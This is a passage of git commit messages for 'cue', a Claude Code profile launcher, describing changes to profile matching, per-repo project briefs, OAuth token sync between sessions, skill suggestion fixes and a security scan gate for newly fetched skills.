bun rather than npm, that the tests are behind `just check`, or where the
entry point lives — so the agent guesses, and burns turns finding out.

`lib/project-brief` scans that off the filesystem and the launcher hands it
over: package manager (from the lockfile), the real test/build/lint/typecheck
commands (package.json scripts, Makefile, justfile, Cargo, pyproject),
entry points, layout, workspaces, data layer, what CI actually runs, and the
default branch. Verified only — nothing inferred, because a wrong fact costs
more than a missing one. `.env` values are never read; the scan notes only
that a committed `.env.example` exists.

Delivery is per process, deliberately NOT through the materialized memory
file: the runtime is keyed by profile and shared by every directory and every
parallel session using it, so repo-specific text there would leak across
projects and race between sessions. claude-code takes the brief inline via
`--append-system-prompt`; codex, which has no such flag, gets a per-cwd file
plus one *static* pointer line in AGENTS.md.

`cue brief` shows exactly what the agent receives. `--write` turns it into
`.cue/project.md`: a machine block that refreshes and a `## Notes` section
that never does — for the conventions no scanner can infer. `CUE_BRIEF=0`
opts out entirely.

Two bugs the real-repo smoke test caught, both fixed with tests: the layout
list sorted alphabetically and spent its budget on `action/ agentshield/…`
while cutting `src/`; and `--write` folded the notes back into the machine
block, duplicating them on every rewrite.

Tests: 33 new, driving the scanner through a stub probe (bun/pnpm/cargo/
python/go/monorepo fixtures, CI harvesting, caps, truncation, no-manifest
→ null, and an assertion that no `.env` is ever read), plus the brief-file
merge and the per-agent injection.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* feat(picker): let the model rerank profile matches, without ever waiting on it

Every failure the lexical matcher has is the same shape: a word means one thing
in a manifest and another in a profile description, and the fix is another
stopword. CLAUDE.md, @clack/core, requires-python, base-template each cost a
round of tuning, and the list is unbounded. A model reads the same evidence and
doesn't make that class of mistake. So: lexical proposes, the model judges.

This fits here in a way it did not fit the skill matcher. That hook runs on
every prompt and the prompt is always different, so an LLM call is a per-message
tax with a near-zero cache hit rate — which is why it ended up as an opt-in
`--deep` escalation. A repo's shape is stable for weeks. Keyed on the evidence
rather than the clock, the cache hits ~always and the model is consulted about
once per project. Measured: 9.8s cold, 0.124s warm.

The launch path still never waits. A warm entry is read in ~1ms; a cold one
serves the lexical answer immediately and spawns a detached process to fill the
cache for next time. Picker cost measured at 98ms warm, 45-74ms cold — the
model's 10 seconds are never on anyone's critical path.

claude-classifier extracts the spawn, the ephemeral CLAUDE_CONFIG_DIR isolation
and the credential copy-back out of skill-subset (477 -> 331 lines). That
machinery is subtle enough — the rotation race, the shared timeout budget across
the binary fallback — that a second copy would drift rather than stay honest.

`cue profile match [dir] --explain --deep` exists because the matcher's early
versions stayed wrong for as long as they did purely because nothing showed
which term caused a bad suggestion. It earned its keep within minutes: on a
small Python CLI it revealed "dependencies" named environment, intended,
operating, programming and topic — PyPI trove classifiers, read as packages by
the loose manifest scanner. Handed that same garbage, the model confidently
picked profiles about building cue itself. With the scanner fixed to skip `::`
lines it picks python + backend-base, which is right.

The scanner now also harvests inline dependency arrays (`dependencies = [...]`),
which are often the only place a pyproject declares anything real.

Verified live: agv_stack -> ros2 ("ROS 2 robot control, .urdf files, MRS
platform"); kolarortopedia -> backend + postgres, with the model correctly
dropping `vite` (matched on the vitest test runner) and `supabase` (matched on
the substring "postgre"). 2889 pass / 0 fail, tsc and lint clean.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* feat(picker): scope remembered stacks to the repo you launch in

The combine suggestion engine remembered every stack globally: combo-history
rows carried no directory, so "you launched this stack 4x" counted launches
from every project at once. At SCORE_COMBO (50-65 with the count bonus) that
outranked the cwd-scoped recent (max 50), so a favourite stack from an
unrelated repo led the picker in a repo that had never seen it.

Rows now record the launch directory, and readCombos scopes them by repository
root - a launch inside packages/core still sees the stack confirmed at the repo
root above it. Stacks confirmed here score 60-75; stacks known only from other
repos drop to 31-40, below anything cwd-scoped, and say so in their reason.

Backward compatible on both ends: an unattributed row (written before cwd was
recorded) never claims the current directory, and a caller that passes no scope
keeps the exact score and wording it had before.

* feat(picker): scope pair affinity to the repo you launch in

growStack grafts your top historical partner onto every suggested stack, and it
does so with no reason line of its own - the profile just appears in the card.
That partner came from a global affinity map mined across every project, so a
pairing learned in one repo rode silently into the suggestions of an unrelated
one: open an API repo and backend+medusa-dev showed up because that is how you
work in a shop repo.

computeAffinityMap now takes an optional repo scope, and launch builds the
picker's partner map from the scoped one. Cross-repo habits still surface, but
only through channels that say where they came from - universalSuggestions, and
`cue suggest-pairs`, which now splits its table into pairings made here and
pairings made in other projects.

The scope predicate moves to lib/repo-scope, shared with combo-history so the
two history readers cannot drift into different notions of "here". Unscoped
callers - the universal-suggestion frequency pass, the dashboard - are
unchanged, and rows with no recorded directory are excluded under a scope
rather than credited to whichever repo happens to be open.

* feat(picker): scope Recent by repository, not by path prefix

Recent was the last suggestion source still scoping by raw downward path
prefix, which the previous two rounds turned into an inconsistency: launch in
packages/core and cue would show you the stacks and pairings confirmed at the
repo root, but none of the sessions. The prefix rule cannot match a parent
path, so scoped Recent came back empty and launch silently fell back to the
global list - handing that subdirectory the profiles you use in other projects.

computeStats now takes the same repo scope as the other two readers, so all
three agree on what "here" means. The reason line becomes "last used in this
repo", which is what it now measures.

This path had no test coverage at all; it now has five, including the
subdirectory case that was broken and the outside-a-repository fallback.

* fix(picker): rank suggested stacks by what you actually launch here

Three defects made the card lead with a stack the user had never launched.

1. Saturation. The usage bonus was `min(sessions, 5) * 2`, so everything with
   five or more sessions scored exactly 50 - a stack launched 112 times in this
   repo tied with one launched five times, and the card's headline was decided
   by the alphabetical tie-break. Replaced with a logarithmic bonus: every
   doubling of use adds a fixed step, calibrated so the five-session case lands
   where it did before and everything above it keeps climbing.

2. Truncation. A recalled stack was grown and then cut to MAX_STACK_PARTS, so a
   four-part recent became a three-part stack that was never launched, captioned
   with the four-part stack's session count. Recollections are now shown as
   launched: conflicts still resolve, but no companions are bolted on and no
   parts are dropped. The cap still applies to stacks this module proposes.

3. First-write-wins dedup. Sources are scanned in a fixed order but are no
   longer ranked by it, so a foreign combo used 4x claimed the part-set and
   permanently suppressed the recent used 112x here. Dedup now keeps the
   best-scoring claim; ties keep the incumbent, preserving origin order where
   scores don't separate.

Measured in this repo, top suggestion before and after:
  before: career+skill-writer+core   (truncated from a 4-part stack, 5 sessions)
  after:  core+skill-writer          (112 sessions here)

* fix(suggest): score skills on what the user actually said

`cue suggest` recommended a wedding-invitations skill because "date" appeared
195 times, and rated everything at confidence 1.00. Four compounding faults.

Counting the wrong text. It scanned raw transcript JSONL, so assistant prose,
tool names, tool output and file contents all counted as things the user
"mentioned" - "read" scored 798x because that is the Read tool. Only user text
parts are read now; tool_result parts arrive under role "user" too and are
excluded.

Substring matching. `indexOf` found "ops" inside "operations" and "and" inside
"command". Matching is now whole-word, via a single tokenizing pass that also
replaces a per-keyword regex compiled over megabytes of text - the command went
from seconds to ~0.2s end to end.

No stopword filter. Every SKILL.md description opens with "Use this when the
user asks...", so "use", "when" and "user" became keywords for the entire
catalogue. Filtered now, along with transcript-structure words, and the
remaining keywords are weighted by catalogue-wide rarity: a stopword list only
knows what is common in English, not that "mcp" appears in hundreds of these
skills and separates none of them.

Meaningless confidence. `min(1, mentions / 50)` reached 1.00 for every skill,
so the printed number carried no information and the ranking was arbitrary.
Score is now the strongest few signals - summing every match rewarded a long
description over a relevant one - on an asymptotic curve calibrated against a
real 355-candidate run. Measured confidence spread over this repo's
transcripts: p10 0.32, p50 0.54, max 0.72.

The reason line is computed from the same frequency map as the score, so it can
no longer name a keyword that never contributed - which is how "and" came to be
cited 8044 times.

* fix(auth): keep concurrent sessions from revoking each other's tokens

Anthropic's OAuth rotates the refresh token on every refresh, and cue gives
each profile runtime its own copy of .credentials.json. Two sessions on
different profiles therefore hold two copies of one token: whichever refreshes
first silently revokes the other, which then hits a login prompt mid-session.
Measured on a real machine - 121 runtime copies, 75 distinct refresh tokens,
114 of 117 access tokens expired.

Sharing one file via symlink is the obvious fix and does not work: Claude Code
rewrites .credentials.json atomically (tmp -> rename), which replaces a symlink
with a regular file on the first refresh. Observable in any authmux runtime,
where cue symlinks .claude.json and every one has since become a plain file
while its neighbours (projects/, agents/) are still links.

So the sessions have to talk instead. cue already published a rotation to the
owning account dir on exit, which is too late - by then the sibling has already
been dropped. A live session now reconciles once a minute for as long as it
runs: it republishes its own rotation, and adopts anyone else's.

pullFreshestToRuntime is the missing inbound direction, gated on matching
accountUuid so alternating accounts can't hand each other tokens, and on
strictly newer expiresAt so two reconcilers settle rather than trading the file
back and forth. Polling rather than watching is deliberate: the same atomic
rename that defeats symlinks also breaks an inode watch.

* fix(auth): read the default account's identity where Claude Code keeps it (#106)

The rotation heal added in ae59ebf never ran for the default account. Every
direction in credentials-sync is gated on a known accountUuid, and
readAccountUuid looked only at <dir>/.claude.json. With no CLAUDE_CONFIG_DIR
set, Claude Code keeps oauthAccount in the home-root ~/.claude.json and leaves
~/.claude/.claude.json a settings-only stub - so the default account read as
unknown and all three heals silently no-op'd: no candidates to sync from, no
publish to ~/.claude, no adopt out of it. Measured here: 76 distinct refresh
tokens across 123 runtimes, and 32 runtimes the heal could not see. The bug
hid because authmux account dirs DO carry identity in-dir, so they worked.

The basename gate keeps the fallback off those account dirs and off runtime
dirs, which all carry identity in-dir - a stray sibling .claude.json must
never be read as an account's identity or two accounts could trade tokens.

Second path to the same symptom: overlaySourceState copied .credentials.json
unconditionally, with none of the expiresAt comparison the rebuild path does.
It runs on every cache-hit launch, and cue sync / cue install resolve their
source with healFromRuntime: false - so one bulk sync could stamp a dead token
over every runtime at once. It now keeps whichever side is newer, scoped to a
single account so a deliberate account switch still re-seeds wholesale.

Last, the reconcile cadence. Copies of a blob share one expiresAt, so
concurrent sessions reach expiry together and refresh within moments of each
other; only the first rotation survives. A flat 60s poll cannot help when the
contended window is seconds wide, so the cadence now tightens to 5s across
that window and idles at a minute elsewhere. This narrows the race and does
not close it: cue does not perform the refresh, Claude Code does in-process,
so there is no point at which cue can serialize the two callers.

Co-authored-by: NagyVikt <nagy.viktordp@gmail.com>
Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: NagyVikt <nagy.viktordp@gmail.com>
Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
NagyVikt added a commit that referenced this pull request Aug 7, 2026
…o-browser always-on (#122)

* feat(picker): match every profile against the repo, not just the 19 with rules

The suggestion engine ranked profiles from five hand-maintained sources —
dependency rules, path conventions, combo history, recents, featured. Between
them they cover 19 of 85 profiles. The other 66 could only ever surface if the
user had launched them before, so a directory that genuinely wanted one had no
way to say so, and cycling past the third suggestion ran out of answers.

profile-match scores every profile's OWN vocabulary (name, description, skill
ids, MCP ids) against what the directory reveals about itself (dependencies,
languages, marker files, entry names). Coverage goes to 85/85 and the card's
tail keeps landing on something the repo justifies. Wired in as a new `matched`
origin scored 8-30, so curation still leads: it can pass `featured` from ~0.32
strength but never outranks a detection, a confirmed combo, or something
launched in this very directory.

Four properties earned their place by being wrong first:

  Absolute strength, not relative to the run's best hit. Normalizing against
  the top scorer manufactures confidence from noise — a directory with nothing
  to say still produced a 1.00 "match", because the weakest signal present is
  still the strongest signal present. cue and gitguardex now correctly match
  nothing.

  Corroboration: a filename alone never carries a match. Every repo here has a
  CLAUDE.md, so every repo matched `claude-api` — above a real ROS workspace
  backed by an actual robot.urdf. Chasing each such word with the stopword list
  was a losing game; requiring one dependency, language, or marker hit ends the
  class.

  IDF weighting plus size damping, so `gstack` (70 terms, mentions everything)
  cannot beat `rust` (18 terms, mentions Rust) on a Cargo.toml by surface area.

  Both sides normalize through the same `tokenize`. Skipping it on the evidence
  side meant a profile indexed "robotic" while EXT_LANGUAGE emitted "robotics" —
  they never met, silently. Same failure class as the bash/TS drift the hook
  guards against.

gstack itself goes to _featured.yaml rather than being made detectable, because
it structurally cannot be: it is a WORKFLOW profile, describing how you want to
work, and repo evidence only ever describes what the project IS. A .urdf says
robotics; nothing on disk says "role-routed engineering". It scored 0.27 at
rank #6 across the test repos; always-available is the honest mechanism.

Also: `-js` is no longer folded as a plural (medusajs -> medusaj, nextjs ->
nextj), which affected skill matching too; the df cut is skipped below 10
profiles, where it discarded every term shared by two and matched nothing; and
manifest metadata keys are filtered, so `requires-python` and `[urls] issues`
stop reading as dependencies named "research" and "linear".

Verified on real repos: agv_stack surfaces ros2 #1 (previously unreachable),
api-tester surfaces python + backend-base, kolarortopedia surfaces postgres +
supabase, cue and gitguardex correctly surface nothing. 2819 pass / 0 fail.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(test): make cue handoff tests e2e, drop the global mock.module leak

src/commands/handoff.test.ts registered mock.module("../lib/handoff", ...).
Bun's module mock lives in a PROCESS-GLOBAL registry that outlives the file
that installs it, so whenever this file landed in the same worker before
src/lib/handoff.test.ts, that file asserted against the stub instead of the
real formatHandoffForAgent. The stub emitted only the header and the task
summary, so exactly the four sections it omitted failed:

  Most useful skills / Also helpful / MCPs used / Notes

Green locally, red in CI, purely on file ordering.

Drive the command through spawnSync with XDG_CONFIG_HOME pointed at a temp
dir instead. HANDOFFS_DIR is a module-level const baked from that env var at
import time, so a fresh child picks up the temp dir and no global state is
touched. Nothing is left to leak — this was the last mock.module in the repo.

Also stronger: the router now runs against the real lib rather than a stub.
10 -> 18 tests, covering the --json branches, --skills level parsing, the
--from default and the unknown-subcommand fallback.

Verified: bun test --timeout 30000 (the CI command), 4 consecutive runs,
2819 pass / 1 skip / 0 fail. typecheck clean, lint unchanged at 6 warnings.

* chore: delete 733 lines of verified dead code

Every deletion was re-verified by hand against a repo-wide fixed-string grep
(excluding node_modules/dist/vendor, but INCLUDING .sh, .yaml, .md and
extensionless bin scripts) plus a within-file usage check. Dead code's tests
go with it — a test for dead code is also dead.

Whole files, referenced by nothing but their own test:
  src/lib/incremental-materialize.ts   81 (+112 test)
  src/lib/skill-compressor.ts          68 (+59 test)
  src/lib/webhooks.ts                  58 (+175 test)
  scripts/_test-ecc-materialize.ts     20  (referenced by nothing at all)

Functions with exactly one occurrence in the repo — their own definition:
  discover.ts buildGemBadgeSvg        196
  skill-deps.ts topologicalSort        61 (+18 test)

Stale docs:
  bin/README.md                        32  describes a `soul` CLI and a
                                           bin/cli/lib/ layout, neither of
                                           which exists

Deliberately NOT deleted, though a generated report flagged them — 28 of its
76 non-picker findings were false positives, and deleting them blind would
have broken the build:

  analytics.ts recordSkillUsage  called by resources/hooks/skill-fire-tracker.sh
  bin/cue-slug                   called by bin/cue-learnings (the report's own
                                 grep passed --include='*.sh', so the
                                 extensionless caller never matched)
  runtime-gc.ts                  imported by commands/gc.ts and launch.ts
  handoff.ts (all 4 exports)     imported by commands/handoff.ts
  kitty-image probeKittyTerminal,
  clearKittyImagesSequence,
  skill-deps parseDependencies,
  skill-router Router* types     used within their own file; only the `export`
                                 keyword is redundant, which is churn, not dead
                                 code
  cloud.ts:255 "dead" branch     reachable: `cue cloud push x` gives
                                 argv[2]="cloud" and falls to the default arm

Also left alone: the picker block (~1057 lines) while that migration is in
flight, and launch.ts's token-budget re-export shim (all five symbols are used
inside launch.ts, so it is an export->import rewrite worth zero lines).

Verified: bun test --timeout 30000, 4 consecutive runs, 2819 pass / 1 skip /
0 fail across 219 files. typecheck exit 0. lint 0 errors, 6 warnings (baseline).

* docs(dead-code): mark the report superseded, record the false-positive rate

28 of 76 non-picker findings were wrong. Record which ones and why, so the
next pass re-verifies instead of trusting the confidence column: a 'high'
rating only means the agent's grep came back empty, and those greps missed
shell hooks, extensionless bin scripts, dynamic imports, and string-keyed
command dispatch.

* feat(brief): hand the agent verified facts about the directory it launches in

A profile teaches the agent a domain. It cannot know that this repo runs on
bun rather than npm, that the tests are behind `just check`, or where the
entry point lives — so the agent guesses, and burns turns finding out.

`lib/project-brief` scans that off the filesystem and the launcher hands it
over: package manager (from the lockfile), the real test/build/lint/typecheck
commands (package.json scripts, Makefile, justfile, Cargo, pyproject),
entry points, layout, workspaces, data layer, what CI actually runs, and the
default branch. Verified only — nothing inferred, because a wrong fact costs
more than a missing one. `.env` values are never read; the scan notes only
that a committed `.env.example` exists.

Delivery is per process, deliberately NOT through the materialized memory
file: the runtime is keyed by profile and shared by every directory and every
parallel session using it, so repo-specific text there would leak across
projects and race between sessions. claude-code takes the brief inline via
`--append-system-prompt`; codex, which has no such flag, gets a per-cwd file
plus one *static* pointer line in AGENTS.md.

`cue brief` shows exactly what the agent receives. `--write` turns it into
`.cue/project.md`: a machine block that refreshes and a `## Notes` section
that never does — for the conventions no scanner can infer. `CUE_BRIEF=0`
opts out entirely.

Two bugs the real-repo smoke test caught, both fixed with tests: the layout
list sorted alphabetically and spent its budget on `action/ agentshield/…`
while cutting `src/`; and `--write` folded the notes back into the machine
block, duplicating them on every rewrite.

Tests: 33 new, driving the scanner through a stub probe (bun/pnpm/cargo/
python/go/monorepo fixtures, CI harvesting, caps, truncation, no-manifest
→ null, and an assertion that no `.env` is ever read), plus the brief-file
merge and the per-agent injection.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* feat(picker): let the model rerank profile matches, without ever waiting on it

Every failure the lexical matcher has is the same shape: a word means one thing
in a manifest and another in a profile description, and the fix is another
stopword. CLAUDE.md, @clack/core, requires-python, base-template each cost a
round of tuning, and the list is unbounded. A model reads the same evidence and
doesn't make that class of mistake. So: lexical proposes, the model judges.

This fits here in a way it did not fit the skill matcher. That hook runs on
every prompt and the prompt is always different, so an LLM call is a per-message
tax with a near-zero cache hit rate — which is why it ended up as an opt-in
`--deep` escalation. A repo's shape is stable for weeks. Keyed on the evidence
rather than the clock, the cache hits ~always and the model is consulted about
once per project. Measured: 9.8s cold, 0.124s warm.

The launch path still never waits. A warm entry is read in ~1ms; a cold one
serves the lexical answer immediately and spawns a detached process to fill the
cache for next time. Picker cost measured at 98ms warm, 45-74ms cold — the
model's 10 seconds are never on anyone's critical path.

claude-classifier extracts the spawn, the ephemeral CLAUDE_CONFIG_DIR isolation
and the credential copy-back out of skill-subset (477 -> 331 lines). That
machinery is subtle enough — the rotation race, the shared timeout budget across
the binary fallback — that a second copy would drift rather than stay honest.

`cue profile match [dir] --explain --deep` exists because the matcher's early
versions stayed wrong for as long as they did purely because nothing showed
which term caused a bad suggestion. It earned its keep within minutes: on a
small Python CLI it revealed "dependencies" named environment, intended,
operating, programming and topic — PyPI trove classifiers, read as packages by
the loose manifest scanner. Handed that same garbage, the model confidently
picked profiles about building cue itself. With the scanner fixed to skip `::`
lines it picks python + backend-base, which is right.

The scanner now also harvests inline dependency arrays (`dependencies = [...]`),
which are often the only place a pyproject declares anything real.

Verified live: agv_stack -> ros2 ("ROS 2 robot control, .urdf files, MRS
platform"); kolarortopedia -> backend + postgres, with the model correctly
dropping `vite` (matched on the vitest test runner) and `supabase` (matched on
the substring "postgre"). 2889 pass / 0 fail, tsc and lint clean.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* feat(picker): scope remembered stacks to the repo you launch in

The combine suggestion engine remembered every stack globally: combo-history
rows carried no directory, so "you launched this stack 4x" counted launches
from every project at once. At SCORE_COMBO (50-65 with the count bonus) that
outranked the cwd-scoped recent (max 50), so a favourite stack from an
unrelated repo led the picker in a repo that had never seen it.

Rows now record the launch directory, and readCombos scopes them by repository
root - a launch inside packages/core still sees the stack confirmed at the repo
root above it. Stacks confirmed here score 60-75; stacks known only from other
repos drop to 31-40, below anything cwd-scoped, and say so in their reason.

Backward compatible on both ends: an unattributed row (written before cwd was
recorded) never claims the current directory, and a caller that passes no scope
keeps the exact score and wording it had before.

* feat(picker): scope pair affinity to the repo you launch in

growStack grafts your top historical partner onto every suggested stack, and it
does so with no reason line of its own - the profile just appears in the card.
That partner came from a global affinity map mined across every project, so a
pairing learned in one repo rode silently into the suggestions of an unrelated
one: open an API repo and backend+medusa-dev showed up because that is how you
work in a shop repo.

computeAffinityMap now takes an optional repo scope, and launch builds the
picker's partner map from the scoped one. Cross-repo habits still surface, but
only through channels that say where they came from - universalSuggestions, and
`cue suggest-pairs`, which now splits its table into pairings made here and
pairings made in other projects.

The scope predicate moves to lib/repo-scope, shared with combo-history so the
two history readers cannot drift into different notions of "here". Unscoped
callers - the universal-suggestion frequency pass, the dashboard - are
unchanged, and rows with no recorded directory are excluded under a scope
rather than credited to whichever repo happens to be open.

* feat(picker): scope Recent by repository, not by path prefix

Recent was the last suggestion source still scoping by raw downward path
prefix, which the previous two rounds turned into an inconsistency: launch in
packages/core and cue would show you the stacks and pairings confirmed at the
repo root, but none of the sessions. The prefix rule cannot match a parent
path, so scoped Recent came back empty and launch silently fell back to the
global list - handing that subdirectory the profiles you use in other projects.

computeStats now takes the same repo scope as the other two readers, so all
three agree on what "here" means. The reason line becomes "last used in this
repo", which is what it now measures.

This path had no test coverage at all; it now has five, including the
subdirectory case that was broken and the outside-a-repository fallback.

* fix(picker): rank suggested stacks by what you actually launch here

Three defects made the card lead with a stack the user had never launched.

1. Saturation. The usage bonus was `min(sessions, 5) * 2`, so everything with
   five or more sessions scored exactly 50 - a stack launched 112 times in this
   repo tied with one launched five times, and the card's headline was decided
   by the alphabetical tie-break. Replaced with a logarithmic bonus: every
   doubling of use adds a fixed step, calibrated so the five-session case lands
   where it did before and everything above it keeps climbing.

2. Truncation. A recalled stack was grown and then cut to MAX_STACK_PARTS, so a
   four-part recent became a three-part stack that was never launched, captioned
   with the four-part stack's session count. Recollections are now shown as
   launched: conflicts still resolve, but no companions are bolted on and no
   parts are dropped. The cap still applies to stacks this module proposes.

3. First-write-wins dedup. Sources are scanned in a fixed order but are no
   longer ranked by it, so a foreign combo used 4x claimed the part-set and
   permanently suppressed the recent used 112x here. Dedup now keeps the
   best-scoring claim; ties keep the incumbent, preserving origin order where
   scores don't separate.

Measured in this repo, top suggestion before and after:
  before: career+skill-writer+core   (truncated from a 4-part stack, 5 sessions)
  after:  core+skill-writer          (112 sessions here)

* fix(suggest): score skills on what the user actually said

`cue suggest` recommended a wedding-invitations skill because "date" appeared
195 times, and rated everything at confidence 1.00. Four compounding faults.

Counting the wrong text. It scanned raw transcript JSONL, so assistant prose,
tool names, tool output and file contents all counted as things the user
"mentioned" - "read" scored 798x because that is the Read tool. Only user text
parts are read now; tool_result parts arrive under role "user" too and are
excluded.

Substring matching. `indexOf` found "ops" inside "operations" and "and" inside
"command". Matching is now whole-word, via a single tokenizing pass that also
replaces a per-keyword regex compiled over megabytes of text - the command went
from seconds to ~0.2s end to end.

No stopword filter. Every SKILL.md description opens with "Use this when the
user asks...", so "use", "when" and "user" became keywords for the entire
catalogue. Filtered now, along with transcript-structure words, and the
remaining keywords are weighted by catalogue-wide rarity: a stopword list only
knows what is common in English, not that "mcp" appears in hundreds of these
skills and separates none of them.

Meaningless confidence. `min(1, mentions / 50)` reached 1.00 for every skill,
so the printed number carried no information and the ranking was arbitrary.
Score is now the strongest few signals - summing every match rewarded a long
description over a relevant one - on an asymptotic curve calibrated against a
real 355-candidate run. Measured confidence spread over this repo's
transcripts: p10 0.32, p50 0.54, max 0.72.

The reason line is computed from the same frequency map as the score, so it can
no longer name a keyword that never contributed - which is how "and" came to be
cited 8044 times.

* fix(auth): keep concurrent sessions from revoking each other's tokens

Anthropic's OAuth rotates the refresh token on every refresh, and cue gives
each profile runtime its own copy of .credentials.json. Two sessions on
different profiles therefore hold two copies of one token: whichever refreshes
first silently revokes the other, which then hits a login prompt mid-session.
Measured on a real machine - 121 runtime copies, 75 distinct refresh tokens,
114 of 117 access tokens expired.

Sharing one file via symlink is the obvious fix and does not work: Claude Code
rewrites .credentials.json atomically (tmp -> rename), which replaces a symlink
with a regular file on the first refresh. Observable in any authmux runtime,
where cue symlinks .claude.json and every one has since become a plain file
while its neighbours (projects/, agents/) are still links.

So the sessions have to talk instead. cue already published a rotation to the
owning account dir on exit, which is too late - by then the sibling has already
been dropped. A live session now reconciles once a minute for as long as it
runs: it republishes its own rotation, and adopts anyone else's.

pullFreshestToRuntime is the missing inbound direction, gated on matching
accountUuid so alternating accounts can't hand each other tokens, and on
strictly newer expiresAt so two reconcilers settle rather than trading the file
back and forth. Polling rather than watching is deliberate: the same atomic
rename that defeats symlinks also breaks an inode watch.

* fix(auth): read the default account's identity where Claude Code keeps it

The rotation heal added in ae59ebf never ran for the default account. Every
direction in credentials-sync is gated on a known accountUuid, and
readAccountUuid looked only at <dir>/.claude.json. With no CLAUDE_CONFIG_DIR
set, Claude Code keeps oauthAccount in the home-root ~/.claude.json and leaves
~/.claude/.claude.json a settings-only stub - so the default account read as
unknown and all three heals silently no-op'd: no candidates to sync from, no
publish to ~/.claude, no adopt out of it. Measured here: 76 distinct refresh
tokens across 123 runtimes, and 32 runtimes the heal could not see. The bug
hid because authmux account dirs DO carry identity in-dir, so they worked.

The basename gate keeps the fallback off those account dirs and off runtime
dirs, which all carry identity in-dir - a stray sibling .claude.json must
never be read as an account's identity or two accounts could trade tokens.

Second path to the same symptom: overlaySourceState copied .credentials.json
unconditionally, with none of the expiresAt comparison the rebuild path does.
It runs on every cache-hit launch, and cue sync / cue install resolve their
source with healFromRuntime: false - so one bulk sync could stamp a dead token
over every runtime at once. It now keeps whichever side is newer, scoped to a
single account so a deliberate account switch still re-seeds wholesale.

Last, the reconcile cadence. Copies of a blob share one expiresAt, so
concurrent sessions reach expiry together and refresh within moments of each
other; only the first rotation survives. A flat 60s poll cannot help when the
contended window is seconds wide, so the cadence now tightens to 5s across
that window and idles at a minute elsewhere. This narrows the race and does
not close it: cue does not perform the refresh, Claude Code does in-process,
so there is no point at which cue can serialize the two callers.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(resolver): follow symlinked skill directories

A skill maintained in its own repo can be linked into the tree rather than
copied — browser/ego-browser now points at ~/Documents/ego-lite-linux, so the
Linux port's skill has exactly one source of truth instead of a hand-synced
duplicate that silently drifts.

walk() filtered category entries on dirent.isDirectory(), which is false for the
symlink itself, so the linked skill vanished from the index and `cue validate`
failed it as E3 SKILL_NOT_FOUND. Stat through symlinks; dangling links are
treated as absent. The materializer already symlinks skills, so this only makes
the read path agree with the write path.

Also register ego-browser in KNOWN_CLIS so the skill's Prerequisites section is
picked up by the CLI extractor.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* feat(core): keep ego-browser loaded in every project

core declared browser/ego-browser, but the per-project loadout deferred it
everywhere no project signal matched — which is most projects, since the signal
set comes from package.json deps and framework detection and nothing there says
"browser". The declaration was real and the skill still never loaded.

Deferring it does not save a browser session; it sends the agent to MCP
round-trips or web fetch instead, which costs more than this skill's
frontmatter. So it joins the operational primitives in ALWAYS_KEEP, and the
matching slug set in profile-merge so a budgeted composite can't drop it either.

Verified on a neutral cwd with zero project signals: browser/ego-browser now
classifies full, where it previously landed in deferred.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* feat(security): gate freshly-fetched skills through NVIDIA SkillSpector

Every path that lands a new skill on disk — `skills add`, `discover install`,
`marketplace install-skill` — now scans it before anything registers it to a
profile. SkillSpector covers 68 vulnerability patterns across 17 categories
(prompt injection, data exfiltration, supply chain, dangerous code via AST,
YARA, MCP tool poisoning) on top of cue's own SEC1-3 criticals.

Policy reads the report's `recommendation` rather than the exit code, so the
three verdicts stay distinguishable: DO_NOT_INSTALL blocks, CAUTION registers
with a visible warning, SAFE is quiet. `--allow-unsafe` overrides the block.

install-skill differs from the others on purpose: the files are already on disk
by the time it runs, so a block reports findings and exits non-zero rather than
deleting anything, leaving them for review.

When the scanner isn't installed the gate degrades to cue's own rules and says
so, rather than silently passing everything.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(materializer): stop unresolving the live runtime path mid-swap

Rematerializing did `rm -rf runtimeDir` and only then renamed the new tree into
place, so the live path stayed nonexistent for the whole recursive delete —
seconds, on a runtime carrying a plugin cache and a backup chain. A Claude Code
session already running against that profile resolves its hooks through exactly
that path, so every hook firing inside the gap died with "No such file or
directory" (observed 2026-08-03: nine Stop hooks at once, mid-session).

Move the old tree aside instead: the path is unresolvable only between two
renames, and the delete runs after the new runtime is live. The `.old-*` dir is
a sibling of the swap target, so it cannot cross a filesystem boundary and sits
one level below the root runtime-gc scans. Leftovers from a swap killed between
the renames are swept best-effort on the next materialize.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* refactor(picker): pull the shared visual primitives out of card and palette

The v2 card and the stack palette had grown their own copies of the same
drawing code. Both now hang off one set of primitives in picker/ui.ts, styled
after iOS grouped-inset lists: one rounded card per idea, uppercase muted
section headers instead of heavy rules, a filled pill for the single primary
action, circular selection marks instead of ASCII brackets, page dots for
"there is more to see here".

Everything in ui.ts is pure — no I/O, no TTY — and styleText is a no-op off a
TTY, so the tests assert on plain text.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* chore: integrity-protocol wording, tag hooks, two new profiles

Collects the remaining working-tree changes from prior sessions:

- resources/personas/integrity-protocol{,-compact}.md — wording pass
- resources/hooks/{tag-audit,liedetector-tag-density}.sh — confidence-tag
  density checks
- profiles/frontend-design, profiles/reverse-skill — two new profiles
- README.md, .cue.profile (cue's own pin: core -> core+skill-writer)

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: NagyVikt <nagy.viktordp@gmail.com>
Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
NagyVikt added a commit that referenced this pull request Aug 7, 2026
)

* feat(picker): match every profile against the repo, not just the 19 with rules

The suggestion engine ranked profiles from five hand-maintained sources —
dependency rules, path conventions, combo history, recents, featured. Between
them they cover 19 of 85 profiles. The other 66 could only ever surface if the
user had launched them before, so a directory that genuinely wanted one had no
way to say so, and cycling past the third suggestion ran out of answers.

profile-match scores every profile's OWN vocabulary (name, description, skill
